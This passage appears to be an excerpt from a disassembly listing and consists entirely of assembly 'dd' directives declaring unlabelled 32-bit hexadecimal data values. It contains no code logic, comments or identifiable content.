		dd 42AC019Bh, 2A85ECF5h, 6B44A000h, 12EF73A9h, 0F16C5EF3h
		dd 0BF21FE6Ch, 0E8A52D32h, 1844A044h, 7957051Ch, 83E1F28Bh
		dd 0DF80214h, 812FF00Bh, 9DA020CEh, 96F7FBh, 0D25C9A7Dh
		dd 0C50A1659h, 6BE55F12h, 361CAAA8h, 8411C9BEh,	24008464h
		dd 53C97B34h, 4F7868Eh,	611C29DDh, 0CE0CEC1Eh, 3F6D029Fh
		dd 91244349h, 0CB712EB0h, 0EC3D4470h, 4877030Ch, 31DAE93h
		dd 0ED0AD9EEh, 0FC8D980Fh, 0CB073B07h, 726D4200h, 0D9CA137Ah
		dd 0FC9702F6h, 5C7487CEh, 5A017E38h, 2923A278h,	0E0482B27h
		dd 0DA180087h, 16A692FAh, 9007BF58h, 0A84BAB72h, 0CCC9DE0h
		dd 9C356074h, 44653268h, 91F6014h, 8A3E3964h, 0BC252182h
		dd 42909640h, 872E0072h, 0D532EE8Bh, 41E05F6h, 8F57577Ah
		dd 6E0CA004h, 0E6259E5Fh, 3A7F003Fh, 2C0E7103h,	0C85D7000h
		dd 0A75415A0h, 74379ABh, 523BC166h, 95047032h, 0F6036BE8h
		dd 9C9DE10h, 7D112B7Eh,	0BE968604h, 981F1086h, 29E437E5h
		dd 1DE62900h, 7030EBF2h, 0DF48037Ch, 0D225970Fh, 0E92E1C80h
		dd 8D4CB900h, 5E3336F0h, 0D7A43D8Ah, 0BC9213h, 0D950D216h
		dd 0DDB057DCh, 0EFCDA600h, 0FAE71EB1h, 0E46800A3h, 0C847AD6Eh
		dd 0C10F4CBDh, 62FED63Fh, 41DA3B90h, 9FF13C66h,	32411E4h
		dd 795B30C5h, 5FC80C56h, 69077083h, 4CAB08B1h, 0C2E6A510h
		dd 6BDD00FDh, 1F632317h, 8800F943h, 0E29BF4A0h,	1C93249h
		dd 72E73EFh, 0DCB0EBD1h, 5F98D2FAh, 0E13DE00h, 7B27AD1Dh
		dd 0E7AE0983h, 0B60117F2h, 0D8057658h, 0D81CE318h, 0DE038977h
		dd 0E0E7D5A7h, 7ECA3Ch,	9BFB7F14h, 510BCB59h, 25492100h
		dd 0D2366E0h, 0E69E1C69h, 1FF340C5h, 14459BDEh,	22899206h
		dd 1DB10BE8h, 0C0D85A9Fh, 3104EA2Fh, 0B76272F7h, 2E53C738h
		dd 92971480h, 15006D2Eh, 0C2F38E3Ah, 0A80371h, 9AFCE805h
		dd 55049991h, 723B89E4h, 0F1A480D6h, 8DB91710h,	1C34F209h
		dd 0C0433C96h, 0A5160156h, 4800632Fh, 148CF139h, 836A29h
		dd 78288FACh, 4FF3734Dh, 41894E00h, 4A117DC1h, 93980014h
		dd 5D4C7720h, 0B21FA445h, 1DCBE86Ch, 0C08F8487h, 180312C0h
		dd 328A2EDCh, 0D76400A6h, 7ED89B5Bh, 0EEE0E500h, 310384FFh
		dd 0E0DFEB92h, 7FD9313h, 646D62A9h, 7EE790DAh, 161E65B2h
		dd 5380D505h, 0C9FEE2Fh, 0FC9100DEh, 63DB556Bh,	0C600A021h
		dd 88E7C8F3h, 0AE794Fh
		dd 1002771Eh, 1A4B9A60h, 39ADBD00h, 0F9DC37A5h,	5B3F00B6h
		dd 0FC188E2Ah, 0BC1E2E8Fh, 0B7C0547Fh, 990E5A5Fh, 1D6376D8h
		dd 802BDA68h, 39157B65h, 2D00B34Ah, 0E7ABCF1Ah,	6B9411h
		dd 0E83EC205h, 213A8253h, 0FF9B840Fh, 0E27F23D4h, 0B1578883h
		dd 47A7BA1h, 8EF3F069h,	41D8C0AFh, 0EF1E1C7Dh, 4F4FE48Dh
		dd 0E94BC372h, 69FBA806h, 0F117014Ch, 4D4A59BDh, 0F403D902h
		dd 3B167944h, 1000D553h, 9A645DA1h, 2F870070h, 42416838h
		dd 7B002CCAh, 86FA2775h, 0F067FEBh, 5D135E7Eh, 0C7E86A78h
		dd 6837E000h, 8FE63279h, 0BDE417DBh, 4A810FE3h,	775DBE80h
		dd 3700EA16h, 830AADC9h, 21303Ch, 0FF89BD54h, 19AEE659h
		dd 0E3278B00h, 7AB8684Bh, 15F8243Ah, 29B90069h,	91A9177Dh
		dd 0FCAE4E00h, 7A2D5CDFh, 78AF0074h, 0F0DAC5EEh, 280094A0h
		dd 87609D14h, 0E2E60FF5h, 0B1241CE8h, 29A14067h, 2B61DDA0h
		dd 0B0E0200h, 0BD772DF3h, 47B91ECAh, 44EA00F1h,	2CA1F231h
		dd 633C48h, 0D5726798h,	0A061D6h, 13CDD227h, 80D4BCE4h
		dd 78B6D300h, 15455891h, 75EE0029h, 0A8DEA446h,	402A0984h
		dd 0AAF6843Bh, 4B27AB1Eh, 2DC7A005h, 3958A700h,	990BF5h
		dd 0AE1C1E48h, 9DCECDDFh, 19BBC000h, 6A0FCC5Eh,	61DE0064h
		dd 0B9BCC5AFh, 1FE67C81h, 41E240EAh, 229BDD00h,	718F101Ch
		dd 47C203F8h, 70A619E5h, 0D36C3803h, 0F95CF115h, 41809820h
		dd 0FB1E597Eh, 270011ACh, 8B779F6Bh, 21435EFh, 1726A9B8h
		dd 99E0B97Bh, 976FCBFh,	0D6A4D900h, 0BA23EBAh, 28C81F73h
		dd 8E6F417Ah, 0F8B53C20h, 167DFC32h, 0BDF70200h, 97043111h
		dd 3F8E03B3h, 770F9E3Ah, 8BE8F98Bh, 940970FDh, 0FBE13B0h
		dd 3BEB750h, 0FE4E63ACh, 23249988h, 498E0801h, 7AE837DFh
		dd 73A5C0h, 55F3772Ah, 1F510697h, 0B1045F00h, 2FEAFBA7h
		dd 72CC0035h, 0FD921BB8h, 41009A58h, 95896922h,	3D46096h
		dd 49858355h, 0D1C161C1h, 818CC8D6h, 48671C00h,	4B021D0Ch
		dd 91F806h, 80FF8401h, 0E4D96832h, 0CC61311Eh, 0EF6A78C0h
		dd 0F8BCA2Eh, 3334D89Ch, 0EA93CDA2h, 321B849h, 3540E7C5h
		dd 11219DDh, 2BA6EF7Eh,	405FF6F2h, 8039CD0h, 68638403h
		dd 0E05C6BF8h, 65D1099Fh, 0C0F02046h, 6C4AB01Ah, 0D07D4401h
		dd 5F4E0457h, 2F60A4C5h, 3D830062h, 0D2A6C433h,	4200A3CAh
		dd 0BC09EC9Ah, 1BB3CDCh, 860B8BAAh, 0E85A81D1h,	8C0010A0h
		dd 41A94AC5h, 7583990h,	1CAAEC75h, 0E8D502Ah, 740094DDh
		dd 534324C4h, 7C9736h, 0EA2D56D1h, 585AF6F8h, 850013B0h
		dd 0D92F288Dh, 44D782h,	45C98381h, 1AF0573Bh, 35EB300h
		dd 13043FAAh, 3D7D50h, 8AD14371h, 8032915Ch, 0D66B6E00h
		dd 0C5D0F1E0h, 50769Fh,	0C5C48FBh, 66512671h, 8A28B60Eh
		dd 0D0F9409Eh, 3DF4DCFh, 0D19C6360h, 9580BDABh,	0C50165AFh
		dd 9B744F8Fh, 8A4140EBh, 1CF4F363h, 62CB0E4Ah, 5AC0A45Dh
		dd 0BFE52919h, 5F70601Eh, 0CB1058C0h, 604DC6F5h, 0B88F4080h
		dd 277959F1h, 922C2B00h, 79853273h, 48BD0058h, 0B668D321h
		dd 2400EAABh, 0CBCD8F4Eh, 573A14h, 0BFFC3FC4h, 0E666D670h
		dd 0B400997Ah, 95752719h, 16861D5h, 0F742CFCh, 3560CA59h
		dd 886D498h, 0FA841900h, 2C30813Ch, 4CE300A5h, 0B845A2B1h
		dd 0CC052D43h, 31906A54h, 924B30C0h, 0AC27001Fh, 9EBE48F4h
		dd 5902EA39h, 517C8BFFh, 0D14840A7h, 0B19901C7h, 2137976Ch
		dd 0E70BE4Eh, 98B9B2C9h, 3F483980h, 867C4EEh, 0CCF640B6h
		dd 21C3BA29h, 34DFE37h,	9A8FD739h, 40976C78h, 0AC79B1A5h
		dd 0C31DC80Bh, 0FB980187h, 0FC303EC6h, 0F387AB5h, 0B0059720h
		dd 25120600h, 0F800E6E3h, 0DD924A8Eh, 589CBA0h,	36BC55E7h
		dd 97504A20h, 704F0140h, 81D66EEEh, 0D51BB711h,	398263E1h
		dd 7729DD8Dh, 143D1880h, 0B907FD4Eh, 0AA65A635h, 0F9DBA540h
		dd 0FEB8A862h, 68FD6097h, 95780A73h, 5F28C00h, 0D65B48EFh
		dd 658D0060h, 0C1526ADEh, 3E003DA5h, 0FC67B828h, 405ECAh
		dd 0AA3B6BD7h, 69CE1EB6h, 0CAB358h, 6A6EDB02h, 76E54C15h
		dd 83980060h, 3D8154B5h, 4FECCBCAh, 3224A900h, 0AC689BC9h
		dd 0BB8201F3h, 0FC9F98DBh, 5D805355h, 27A79788h, 0A52E6300h
		dd 0F1E2462Ch, 0EC6D005Bh, 375482ABh, 1A61D715h, 0FCE9B30h
		dd 7100C0EEh, 8E090141h, 0E4BC0437h, 30B52176h,	5F0065CFh
		dd 4BD3C025h, 0FCB6AFh,	0B1DFDB1Fh, 0D58C8B39h,	8F873300h
		dd 0EF08A5C2h, 0E398A85Bh, 5D8300D7h, 0E1B4F880h, 0F400B757h
		dd 29C473DEh, 431C53h, 2FD55831h, 0A9A3B934h, 829C6A00h
		dd 0CF5F86C4h, 0B6F50BA4h, 2B804CD6h, 0CDBA8C2h, 2903A07Bh
		dd 9F84D594h, 6D1800EAh, 0FF5A9C38h, 80C054A1h,	9E5BCCD1h
		dd 8CF0A8AAh, 0D08D00ECh, 1AF7A3C2h, 8E3BB65Fh,	90288091h
		dd 92687C47h, 0DDD012DFh, 50282357h, 24C763A0h,	4891EF30h
		dd 7FA235C1h, 8911008Bh, 0E01F0F96h, 0B77E66F9h, 56B66400h
		dd 0B8B5EBA2h, 0D02A00C9h, 0E9C62D2Fh, 8D31BD51h, 0B61408DAh
		dd 838208Fh, 0E7F3EFE0h, 24F635BCh, 0C8286207h,	0CF405A65h
		dd 0F6C0E1Ah, 0DB938792h, 47E667C0h, 0B90C85B1h, 48BA2EC1h
		dd 0A3333A03h, 9BB60A03h, 813CF83Dh, 5F5780C7h,	702A9E01h
		dd 0BAD10112h, 0D832ABC1h, 0B71894F5h, 84D4211Ch, 0B3C42h
		dd 8B9678EEh, 0E470A5B9h, 4BB76149h, 0CAD27DCh,	5218480Fh
		dd 0CA0E4958h, 98F23D9Fh, 309880h, 2B1DD4D0h, 0FE709A13h
		dd 8BEB0B74h, 0F098AFA1h, 0F9DE294h, 1A8F5010h,	20C826C6h
		dd 748E62C7h, 0CA8A3E6h, 0A615D8EBh, 7500C7B8h,	9B6DB2CAh
		dd 0BDD45h, 0F301F763h,	0DE5EFFC0h, 5F782800h, 84F9E1CBh
		dd 4AEE00AFh, 0CD2D373h, 280074C1h, 6362D477h, 1F0B459Ah
		dd 0C7751B3Eh, 10CACDB7h, 7F7766B8h, 0AD63A9ECh, 0C09F7CD2h
		dd 7DCC39h, 0F5F44A03h,	0D40E2BD5h, 35658B00h, 4D1518BCh
		dd 61CE1CF0h, 2EE08094h, 4B72020Fh, 0D4F32C00h,	8B5F7582h
		dd 1CF40767h, 40F714BEh, 99315D06h, 6A12A50Eh, 7386E3BFh
		dd 8B83F555h, 6997D0C9h, 54CEE18h, 8007CA9Dh, 53D180F6h
		dd 0D700C8FBh, 0F0E56978h, 7C3F9BFh, 9A227934h,	0AF67A0D0h
		dd 94EE6A0Bh, 31C685Ch,	2A358A7Ah, 0A570EFF0h, 0A8BC9Fh
		dd 95D0949Bh, 7962D9EBh, 0D45D6918h, 60C27B50h,	0E406B035h
		dd 700F62Dh, 14A85FD8h,	7A4FBCB5h, 0E366005Ah, 0B16322CBh
		dd 0F80F94D5h, 0B878D6CCh, 434A38h, 45EC89D4h, 4F912D35h
		dd 0E485A606h, 103611h,	1F29BCA3h, 88D4F28Dh, 0CFF97500h
		dd 0CCE3FCB2h, 0EEAC3B9Eh, 7EB0C400h, 0C6A908C8h, 0C068C00h
		dd 43E0124Bh, 0FF911EDAh, 6004290Bh, 0D7035DCh,	820FA9F8h
		dd 0C0C94A58h, 0FF75E651h, 0C6F4F0h, 0A2DB4403h, 0A83D60EFh
		dd 29C45AFAh, 6703E59Dh, 0BD900771h, 0F81682E4h, 8707A315h
		dd 647079ACh, 96F0C8h, 0AAD69C4Ch, 855CED28h, 0CECB3C00h
		dd 8168E0BAh, 0B66A0E9Bh, 6DE02D49h, 45474887h,	0EE0EC900h
		dd 1D345097h, 0B0700E5h, 9256261Ah, 7476CAA7h, 8C44C300h
		dd 0A340B975h, 7B1C0048h, 46242E07h, 0F13E9E32h, 411160F3h
		dd 1A0C462h, 0CEB652BEh, 407595DDh, 1B95E80h, 18133200h
		dd 0A9E709A0h, 86B40372h, 5B822FC3h, 3FDC5790h,	70ABF500h
		dd 0B719A554h, 0CBFE75h, 0ECD5726Fh, 0A933B92h,	5C30DE00h
		dd 0EB94B3A5h, 7F0600FBh
		dd 0B80F443h, 7D003746h, 0CF55D868h, 0E04E17h, 577F69EEh
		dd 0AD36D20Ch, 2DA5EA00h, 58912C76h, 0EFDF480h,	0DA4D5407h
		dd 77202E20h, 100078ABh, 0F6665535h, 8F80Dh, 71092AE4h
		dd 6929327Bh, 41543C0Eh, 86C98033h, 72A62F80h, 356F01BCh
		dd 19DC7DA4h, 8284D02Eh, 14A1111Dh, 7F5EED43h, 956C8936h
		dd 3CC92F4h, 4DC4A96Ah,	2298914Ah, 0AD00CD35h, 747179BDh
		dd 2C4916B2h, 0F2713BEh, 58E0C1ACh, 0BC655EB9h,	0E3F37A00h
		dd 231282BFh, 9E4E003Ah, 0F57FA264h, 0FF00BDFBh, 9F93529Dh
		dd 1F7EE39h, 0B17A75C2h, 0C80543ECh, 0AF00AC50h, 477FCE81h
		dd 0E9588Ah, 0F9EA2F1h,	44B6A822h, 283DEA00h, 631AB9F5h
		dd 0D8883A8Eh, 4B9D2EF2h, 6C23000Eh, 2295F725h,	143180FFh
		dd 0FDB07E8Fh, 980C0BE9h, 0E801BCAFh, 40288BB5h, 18729DDDh
		dd 4EC21E00h, 7C14CCC0h, 5D440BE7h, 0FFA85Eh, 0B75C4746h
		dd 0E1370FFAh, 0DA20FB5Fh, 0D14B60FDh, 0BDD0AA00h, 97474087h
		dd 5FE45Bh, 0DCEB1124h,	4F427E6Bh, 0E421950Ah, 0B90080EDh
		dd 75AA7369h, 0F9803F79h, 3C18E3B0h, 0B23ACBEEh, 0B71060B6h
		dd 0D319E6h, 0CC72D026h, 86E32A8Ch, 534D1A0Eh, 0BFDC30h
		dd 0D4BE773Ch, 396D3859h, 0F100EAA1h, 21DC1BCDh, 15009764h
		dd 0ACBD08F6h, 61F9Bh, 0A87A99DDh, 1A3B72C5h, 0B5CD0300h
		dd 49810CADh, 16B0006Fh, 0E9202DB4h, 1A029EBCh,	9146F8FCh
		dd 2BEDE087h, 88EA60DBh, 643EAA7Ah, 0B0503100h,	962F9C80h
		dd 0BBC300CBh, 8178179Eh, 0D5B892D5h, 63BDD30Eh, 85D86053h
		dd 72EC60h, 1397EF1Fh, 4DBA4C44h, 0DF365B07h, 0A0301030h
		dd 1C32D76h, 42074B9Eh,	6053FE6Eh, 453E3753h, 754C8E8Fh
		dd 0DFD7E348h, 18EBD8B9h, 0B0870EA8h, 1EE0315Eh, 84E54BAEh
		dd 0B029C5A3h, 3E809CA5h, 0E7BB1048h, 0C07802ACh, 32B6CC0Ch
		dd 0A1C116C0h, 63F863Ah, 0DC9D4EE8h, 1FB9810h, 0D4281157h
		dd 0F81AC5C2h, 0A80B50EDh, 90BF3Dh, 3911EC47h, 6F101CA2h
		dd 22FEC0C1h, 4658BB24h, 8B456C0Eh, 7B07C0D6h, 12BC87h
		dd 772FF05Ch, 9DB58C30h, 824157Ch, 0C0008E66h, 627C3DFCh
		dd 0F678FDh, 0B82263E4h, 934A2712h, 0CDEE96E8h,	0FEB94507h
		dd 38B16DA6h, 4871DE0Fh, 0FE5E4C0h, 0C4CEE8A4h,	0F2B0EC20h
		dd 2E2E0260h, 1A01FD3Ch, 0B3E4D27Ch, 1464F4h, 0B4DF8C19h
		dd 0E5FEBA63h, 71A1C20Fh, 8E28A080h, 171F93h, 278E2BDh
		dd 9CD0AD1Ah, 2150C700h, 0A0C8B74Dh, 863404A5h,	873DF09Ah
		dd 3254F009h, 180A3BDDh, 0A4C66BE4h, 0D8760601h, 0B453B1F0h
		dd 7ACF044h, 4C480026h,	70304BD9h, 63D6603h, 0F58100B5h
		dd 0F29F8947h, 43AE24Ah, 73E8B845h, 79C2800Fh, 4960F614h
		dd 11BE5718h, 1F31008Dh, 0DBC9AC85h, 2700A337h,	8B7D5FC5h
		dd 1269438Ah, 14830DD5h, 0E9790CF4h, 182E6070h,	0C093B30Ah
		dd 350185AEh, 311D177Ch, 61E0965Bh, 0EBC00FBh, 0A68D2BA1h
		dd 2F00F130h, 96F434D9h, 1552F9h, 0D166DCBBh, 0ABBE0574h
		dd 0B9F2AF00h, 43950A94h, 53440A75h, 1B5C4D0h, 13796660h
		dd 0D01C31BAh, 0D5E0C9F6h, 0ECF7A507h, 0E06FE11Dh, 60BD3BDEh
		dd 0B15D00F2h, 1F014A18h, 5C49EA3Ch, 0A77E00C4h, 0BDD703Fh
		dd 0EBD80053h, 0FA3CC6CEh, 9F00B922h, 335E5C3h,	5888AD1h
		dd 5C7B6669h, 0BBE003C6h, 7DC81E29h, 0EB00BD97h, 46E0C472h
		dd 24909A27h, 148742h, 0D0CE96B8h, 0B603D37Fh, 18ABBDA7h
		dd 0C5810050h, 0DE6B9B93h, 713AC60Eh, 9373AD6h,	1FEC8Bh
		dd 0AAEA22B6h, 786C74B3h, 0F2E50029h, 8AE30A05h, 7C030E10h
		dd 4628BBA9h, 24A8A8C7h, 47F00D8h, 0A208209Bh, 72005053h
		dd 0F1187D9Ah, 6767E16h, 5A9BFE60h, 91106130h, 53004B95h
		dd 20733D11h, 5600E96Ah, 0E61E44FEh, 182C1D2h, 0F3E32F10h
		dd 8A679FA7h, 24539B91h, 0C8E66C0Ch, 0A2100011h, 0F32A2447h
		dd 0E47B6A2Dh, 0E300FD78h, 3C7F264Bh, 0DCB8D5h,	0F1E76402h
		dd 0CAEA27DDh, 13AF300h, 0AA119BECh, 633F0056h,	0B37A4B9Fh
		dd 2B004787h, 0A436048Ah, 2D919Ah, 3BA29379h, 267371F6h
		dd 2E8F5D00h, 48FC0206h, 0FF451E58h, 0B33DC0FEh, 0E1F34108h
		dd 858EBD1Eh, 0D99A81C1h, 2FE0FBB7h, 61A90069h,	0A82D10B2h
		dd 0F80068C2h, 0C686F7F6h, 370FFFh, 84BAFB25h, 9D8C693Ch
		dd 3E3F4EE2h, 87F89DA1h, 0A40E881h, 5DEC5655h, 0A3CE00F3h
		dd 4ABCB342h, 5C009F97h, 99EDA904h, 3D43FDh, 0CB27F659h
		dd 3AD95B9Ah, 473B400Ah, 3E009CB2h, 43A5DF6Ah, 0ECF432h
		dd 0EB3401ABh, 6DDEB98Fh, 1804A330h, 2FC253h, 216A37FCh
		dd 484E67A7h, 7E078EF8h, 222829E7h, 8FDD0CE2h, 73DE00D0h
		dd 253415Eh, 0AB303B81h, 0ED633DAEh, 6E6B2100h,	759B215Eh
		dd 0D1081EDFh, 0CC018163h, 0F9AB6218h, 0F31271F6h, 4C3E3100h
		dd 8C63B2E0h, 91A900C1h, 8F24ECB4h, 1F07F0DCh, 0C303E3D1h
		dd 1823403Ch, 18F1B66Fh, 3624E748h, 424024B2h, 1C17EFC6h
		dd 8C10D2E3h, 3C08DA9Bh, 0A720E960h, 0F31EF2Ah,	5777D4D0h
		dd 49228426h, 366F240Ch, 3C158F9h, 0ACC218A6h, 3CE09C03h
		dd 6EF2AFB6h, 2AEA7000h, 4F376BDEh, 0E361206h, 8BF900E9h
		dd 5570B4B9h, 9103E7FCh, 3CBBD113h, 12A1B089h, 0BFBD0010h
		dd 9B08446Ah, 0A300D7F6h, 6EB7A42Fh, 3C3BD87Bh,	8C805EF7h
		dd 52FDF586h, 400BB09Dh, 80773022h, 0EFD73F73h,	1CD5000Bh
		dd 91C8EABBh, 0DA3CF3DFh, 7E60079Ch, 0C570DBACh, 1DC5F47h
		dd 6AECC039h, 0F87019CCh, 930E8930h, 631B9A7Fh,	0C8854C8Eh
		dd 0E42E5Dh, 9B23752Bh,	0F854D7C9h, 24EA8F07h, 3B96BFC6h
		dd 86048711h, 10AEECDDh, 3A212700h, 0C1D787F5h,	0E9B50056h
		dd 0EF8F3CB3h, 9F01DD54h, 27F741F6h, 2988447Ch,	8A884FA5h
		dd 84CB908Bh, 8944531Ch, 280D4A52h, 0AD84C710h,	0B06D4F51h
		dd 8FAF9100h, 72B1667h,	980073B0h, 0B3C3596h, 34BE6Dh
		dd 588DE782h, 8F7038F3h, 0E4A2B200h, 7013512h, 0F2870098h
		dd 0F754FA82h, 6D00F4A0h, 0D40A8581h, 0AE1319h,	0B01D5035h
		dd 0B141FE4Eh, 8112AC18h, 0ECC0C528h, 29DE0EC2h, 5960A2B8h
		dd 177064BAh, 774D1900h, 0B77935BFh, 0BB480E97h, 0D5C013E3h
		dd 4901122Ah, 0CCBD5C00h, 0FA036825h, 0B4AE0780h, 5D9E030h
		dd 64E300B0h, 0F510E2F7h, 33F93A00h, 5642D27Dh,	2E90C6h
		dd 0EC46DC48h, 3CEE6086h, 19C0ACF0h, 94876E4Ch,	0E7D0003Dh
		dd 636275BFh, 91C7DA56h, 0C4B0D8DEh, 0A9B6582h,	0F691E83Fh
		dd 0A0C900F4h, 3D13107Ah, 75B14E00h, 0D4A483B7h, 0DB500FDh
		dd 0B9502889h, 0BE007C96h, 0A76E4A9Ah, 6ABA11h,	75BD200Fh
		dd 0B9E0B101h, 0C563BF00h, 46419830h, 225D00D8h, 0E35E17Fh
		dd 33009538h, 0A2193D4Ah, 96251Fh, 1C94C824h, 0FE637176h
		dd 0BF72D33Ch, 80CE3F41h, 3F53A41Ah, 0EABE7DBFh, 18E2000Ch
		dd 4259AEC3h, 5CFEDC5Ah, 29EBB600h, 0B5623597h,	0E230186Dh
		dd 19F828D4h, 0E5F77700h, 0D0DB1187h, 9D2100B3h, 7A04B917h
		dd 6C006B49h, 77C3A7F4h, 0EB557CAh, 62814F63h, 19B2D2C0h
		dd 502E469h, 17846BC3h,	0CBCAE0D3h, 5DD63A40h, 0FA62A180h
		dd 75F587F9h, 448A6E00h, 70D53BE0h, 4C6801FBh, 7A4C839h
		dd 0EFC83087h, 0A9D60E2Eh, 75C57E00h, 0FE2211h,	6CA6782Eh
		dd 0D2F125CFh, 442D2703h, 0D7730D43h, 9A598E50h, 0CB1E0049h
		dd 39C77F29h, 0C1009D08h
		dd 10F1A898h, 0B882C226h, 36690033h, 0D1D72A7Ch, 6C00855Ah
		dd 945620AEh, 2FBBE9h, 9818C8B0h, 0CC714E1Dh, 68DDA300h
		dd 42FE7A2Ch, 0F8E602E5h, 997B98B8h, 0AF375EE0h, 5C33173Ch
		dd 3D3A0004h, 0C2C0CD15h, 645E0072h, 52EA9697h,	1300039Ch
		dd 0A4F5091Bh, 0FF219D3h, 0AEF101D5h, 639C5620h, 89026E94h
		dd 5A3D8D13h, 0CF2F40F2h, 1D1E4BBh, 39CB9133h, 50EC1E66h
		dd 95F7B2E0h, 88282700h, 56C5AC5Ah, 0DD9091h, 90A87B9Ch
		dd 26B9056Ch, 7FB49800h, 634421E7h, 0F49B00D3h,	0CD948548h
		dd 352C0C18h, 7900CF78h, 42E00427h, 68D9011Ch, 77DD4422h
		dd 175020F1h, 71657A00h, 0D867B39Bh, 0E3F500ABh, 0F27FE9BDh
		dd 401CCE76h, 32CF6112h, 51D7C079h, 0A623Ah, 27F01067h
		dd 58C31C3Ch, 396E9B00h, 9EE119ADh, 0DF305CB2h,	70D024h
		dd 11AA4202h, 0A40CCC07h, 70663EDDh, 0DCD801ACh, 5A7B26EEh
		dd 9FEFDC3Fh, 7F1F571Eh, 480D480h, 847642h, 0EBEA5027h
		dd 644853EDh, 17E2C003h, 8037603Bh, 172514Eh, 90A2FCD7h
		dd 43806E7Fh, 7E8043B8h, 0F4001E40h, 752169AFh,	3E4C1AD6h
		dd 9A8EC70Dh, 0B40034D2h, 91824F16h, 0A4670900h, 5E80737Dh
		dd 14E039A5h, 8457D400h, 9C3851D9h, 1293EA01h, 755B4EEh
		dd 8582C8h, 9F58FE25h, 0D629842Dh, 0A328300h, 98ECA8BAh
		dd 6B510120h, 62D949Ch,	6F46FC68h, 0BBDB4B00h, 18B026DAh
		dd 7356007Eh, 0EEB538CCh, 2013FF0h, 242D66B2h, 87D9F8DAh
		dd 3B1D160h, 0E85774F3h, 73C0E378h, 0E216B30Ch,	0FB0087A6h
		dd 0B53ADF88h, 0CF57003Ch, 5E1EECC9h, 0B4013429h, 4AC02F89h
		dd 9730C2CCh, 7DF80C26h, 0FD18B5DCh, 3E337F00h,	1651D380h
		dd 0FF7E019Ch, 0DF440397h, 0B819CCB7h, 0F93954F8h, 0CDBE0075h
		dd 343B0939h, 736500D8h, 0B8B39DE8h, 16008EA1h,	82B5324Ah
		dd 1FD9644h, 0E66388FCh, 0C5A33190h, 0C447F162h, 0FE01F8C6h
		dd 0FB25FAA8h, 0C9C899B5h, 5CE04Ch, 0D31F18F1h,	3E7C3B05h
		dd 0BF6F5D01h, 0E46BCB64h, 26CDAFC0h, 73295B6h,	80CAD943h
		dd 0B5608220h, 17BA0300h, 0FB3053B3h, 96510540h, 0FC8A7404h
		dd 0AF0A0003h, 0EEFD1760h, 0D51C58A9h, 2C35A300h, 8C4C5EDh
		dd 92584650h, 7298FE02h, 0C0346BC6h, 7D57ECCh, 6045BCA3h
		dd 0B76FB004h, 64B8D87Dh, 0DC7A9A1Fh, 41E1FC87h, 5227CA21h
		dd 6377ECh, 44F864D2h, 0C76D9C8Dh, 9B01EFB0h, 35034518h
		dd 0FBD8A822h, 4C8A00AEh, 530BCF9h, 7700987Fh, 9B0ACFADh
		dd 805765h, 7228AA1Fh, 8731CC7h, 0C4AD8800h, 514B0C27h
		dd 59BE001Bh, 0EAE948DBh, 530364DAh, 91B1D873h,	2132B06Ah
		dd 7C8700DFh, 36606F47h, 4E0035AAh, 3B5141E8h, 77E0323h
		dd 400714A7h, 0BAC860D9h, 97010B81h, 72F1419Eh,	0B5EC804Dh
		dd 0C17F00ABh, 0B9358955h, 962E6DA9h, 951DBA2Eh, 0A75F8B40h
		dd 3F7671A0h, 0B980090Ah, 8875363h, 1F047742h, 83F660EDh
		dd 0C60354C5h, 0EADA71D5h, 0CF03E03Bh, 804F0415h, 80815C35h
		dd 0E1EABD0Dh, 828C750Fh, 0BC8BC07Ch, 0B3769A0h, 0E51F3593h
		dd 1986B580h, 0CA0C124Bh, 0F02AFB1Ah, 62AB00DBh, 7F4D1540h
		dd 0E53AE147h, 5A00F9E3h, 0C15D41EDh, 0B596A0h,	47681ACBh
		dd 2F8C547Dh, 99136B00h, 1B23D278h, 555000FEh, 0AD7963A0h
		dd 9B18C566h, 30F8B90Bh, 0EB7F00A9h, 7ED34152h,	31EF9E1h
		dd 0F140FB5Bh, 0B7ED24F6h, 1C210077h, 638E2C07h, 6490AEC6h
		dd 0EFA0877Bh, 0C9011836h, 788FB031h, 0FEC02A40h, 0F2590079h
		dd 0A3D21421h, 0A500262Bh, 31CBF04Eh, 0D81F0Ah,	6AECFBBCh
		dd 0B82A9D09h, 0EAFF6900h, 60038951h, 8F1D009Ch, 0AFA0DAE4h
		dd 200085FBh, 0ED4B442Ch, 15B8BE3h, 427AE99Eh, 0E0F8A3AEh
		dd 0E100B250h, 0F2B1DD17h, 3AC069Fh, 4F452667h,	0DAC02934h
		dd 620FC216h, 0A0A5752Bh, 0AAD2ED5Dh, 2D6A01C3h, 531C9DA8h
		dd 983FF09Fh, 0EEA10926h, 419A1100h, 0C16AE7h, 0B2927AAEh
		dd 0DB755A91h, 0DA003BF4h, 436F691Ch, 0B0F7ECDCh, 1ACD0384h
		dd 0B72E28C2h, 73F0DDD3h, 7200703Bh, 0EBF662B4h, 0A1883F9h
		dd 8E8DED8Fh, 0D34301EFh, 0F8ECBEF0h, 6C2C587Fh, 7C3FC2F1h
		dd 0D4003A98h, 0EC7C8183h, 9D9411h, 5C851E62h, 183ADAEBh
		dd 0F07BA800h, 5AD48AACh, 0F4CC9003h, 14A4A89Fh, 4F7800C4h
		dd 0AF325664h, 4FAEC76h, 0AB0080E2h, 52CC7A23h,	0E3847A7h
		dd 8A51E19Eh, 0EEA028A0h, 6A3923F7h, 0ADB28193h, 1ADB206Ch
		dd 0EF3C6080h, 99945C57h, 7471EC1Eh, 43864540h,	0F64CD44Fh
		dd 0EE150039h, 801B0B07h, 0FF2803F5h, 0BE0A8C2Bh, 8849830Eh
		dd 6E3A200h, 0C16971h, 92E8F7C0h, 0D624D16Fh, 0B304D200h
		dd 99B17FCDh, 0AF86001Eh, 0BCAC511Bh, 501E3D95h, 0ED00565Ch
		dd 7997650Ch, 0B4C201D3h, 0DA4917E6h, 24D7FCF6h, 3C003DF2h
		dd 0A932071Fh, 30749739h, 2AC81508h, 5D1D1AE6h,	3F406AA5h
		dd 0AF70CC14h, 0F7CB00BBh, 490531A7h, 7D126492h, 270EE893h
		dd 0ABAC0065h, 3D0F6F0h, 89BD7BB8h, 70997A30h, 9144206Ah
		dd 51F44A00h, 0E5959313h, 0BEEE007Eh, 807CE6F5h, 0C90A3461h
		dd 0A4411502h, 6D43F000h, 0A071D0h, 0DE90F45Fh,	9B0F8A7Eh
		dd 7C633700h, 2AC43E85h, 758E00ADh, 0B545FE95h,	0A600CBCFh
		dd 41A758B9h, 3CC9A87Dh, 591EE61Bh, 145A136Ch, 9F004E3Eh
		dd 0EFCFAF73h, 4B00D651h, 96ACF54Eh, 39EB5FB1h,	0A103C324h
